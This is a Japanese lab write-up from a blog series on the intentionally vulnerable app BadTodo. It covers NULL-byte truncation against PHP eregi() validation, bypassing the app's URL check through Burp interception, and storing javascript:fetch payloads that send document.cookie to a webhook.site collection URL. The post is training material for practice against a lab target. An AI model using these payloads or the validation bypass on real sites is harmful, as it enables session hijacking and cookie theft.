やられアプリ BadTodo - 25.4 NULLバイト攻撃(POSTリクエストの場合)

前回:やられアプリ BadTodo - 24.3 NULLバイト攻撃(+XSS) - demandosigno

前回までに挙げたNULLバイト攻撃の3つの例はどれもGETリクエストに対するものでした。
続けて、POSTリクエストに対して試してみようとした際に疑問点が残ったためメモしておきます。

ereg() で試します(正規表現によるマッチングを行う関数)

まず GET の場合

eregi_get.php

<?php
$id = $_GET['id'];
var_dump($id);
var_dump(eregi("^[a-z]{4}$", $id)); // a-zの4文字であるか否か。マッチしたら「1」を返す

これに対し
GET /eregi_get.php?id=hoge は
結果:string(4) "hoge" int(1) となります。

一方、
GET /eregi_get.php?id=hogex とすると5文字ですのでFalseです。
結果:string(5) "hogex" bool(false)

GET と NULLバイト(%00)の場合

GET /eregi_get.php?id=hoge%00x
結果:string(6) "hogex" int(1)
var_dumpで NULLバイトは表面上見えないものの1文字分カウントはされており計6文字となっていますが、eregi("^[a-z]{4}$", $id) の結果は「1」が返されています。NULLバイト以降が無視されており想定通りの動きです。

続けて、POSTフォームの場合。

eregi_post.html

<html>
<form action="eregi_get3.php" method="post" enctype="multipart/form-data">
    <input type="text" name="id1" value="hoge" size="30">
    <input type="text" name="id2" value="hoge\0x" size="30">
    <input type="text" name="id3" value="hoge\x00x" size="30">
    <input type="text" name="id4" value="hoge%00x" size="30">
    <input type="text" name="id5" value="hoge&#x5c0x" size="30">
    <input type="text" name="id6" value="hoge&#x0x" size="30">
    <input type="submit" value="送信">
</form>
</html>

リクエストを受ける側 ereg_get3.php

<?php
var_dump("hoge\0x"); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge\0x")); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge\x00x")); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge%00x")); // 確認用
echo ("<br>");
var_dump($_POST['id1']);
$post1 = $_POST['id1'];
var_dump(eregi("^[a-z]{4}$", $post1));
echo ("<br>");
var_dump($_POST['id2']);
var_dump(eregi("^[a-z]{4}$", $_POST['id2']));
echo ("<br>");
var_dump($_POST['id3']);
var_dump(eregi("^[a-z]{4}$", $_POST['id3']));
echo ("<br>");
var_dump($_POST['id4']);
var_dump(eregi("^[a-z]{4}$", $_POST['id4']));
echo ("<br>");
var_dump($_POST['id5']);
var_dump(eregi("^[a-z]{4}$", $_POST['id5']));
echo ("<br>");
var_dump($_POST['id6']);
var_dump(eregi("^[a-z]{4}$", $_POST['id6']));

結果
NULLバイトを差し込んでみた場所はすべて False で希望通りには働きませんでした。

一時しのぎ

結局、直打ちで(またはGETのパターンから)取得した「レスポンス内のNULLバイトをリクエストにコピペ」する形で動作させることはできました。もっと良い方法があるとは思うのですが。

先ほどのレスポンスの該当部分にカーソルを置き左右に動かしてみてください。そこに何かあることが分かります。
このリクエスト・レスポンスの色を変えておくか、リピーターに送るなどして覚えておきます。

BadTodoの場合

Todo List 詳細画面のURL登録部分で、バリデーションチェックを回避できます。

editdone.php の該当部分を抜粋します。eregi が使われています。

<?php
if (!empty($url) && !eregi("^[a-z]+:[-a-z0-9:/?=#!&%+~;.,*@()'[-_]*$", $url)) {
  $errmsg[] = 'URLが不正です';
}

正規表現部分は「先頭に何かアルファベットがあって、コロンがあって、またアルファベットや記号が続く」となっており、最小限だとa:aなどで登録できます。
また記号の"やバッククォート`<> {}などはマッチしないため「URLが不正です」となり登録できません。

ここでNULLバイトが使えます。
入力例をa:a"`<>{}として、送信する際にBurpでインターセプトします。

そして、先ほど残しておいたレスポンスのstring(6) "hogex"部分の e と x の間からNULLバイトを選択してコピーします。 POSTリクエストに戻りリクエストボディパラメータa:a"`<>{}"の前にNULLバイトをペーストします。そしてインターセプト解除。

変更がエラーなく通ります。(「正規の画面からアクセスしてください」となった場合は再度間を開けずやり直してみてください)
Todo詳細に戻ると登録できていることが分かります。

編集画面で見てみるとNULLバイトは「?」となっています。

これを使って何か悪さができそうです。が、単純な<script>タグや"は元々エスケープ処理されています。

幾つか試す

以前 BadTodo - 4.10 XSS URL属性値に対して で試したように、URL欄で javascriptスキームが使えます。
そして https://webhook.site/ というサイトを使うと、一意のランダムな URL と電子メール アドレスを簡易に取得できます。
よってjavascript:fetch('https://webhook.site/a00 ~(中略)~ 758'+document.cookie)のようにURL欄に登録することでCookieを収集できます。

URLをクリックした後で webhook.site を確認すると

POSTの場合(これはURL欄からではなく別途送信した一例)

単に収集するだけでなく色々な機能があって、一部のハッカーも使っているらしく便利なサイトです。

そして今回`{ }が使えるようになったのなら、テンプレート文字列やfetchのPOSTも使えるのではないかと試してみました。しかし、双方とも間のNULLバイトがシンタックスエラーとなり失敗しました。
javascript:fetch(`https://webhook.site/a009 ~(中略)~ 758?${document.cookie}`)

javascript:fetch('https://webhook.site/a009 ~(中略)~ 758',{method:'POST',body:document.cookie})

その他の方法を探してみます。

次回:やられアプリ BadTodo - 25 TOCTOU競合 - demandosigno

/* -----codeの行番号----- */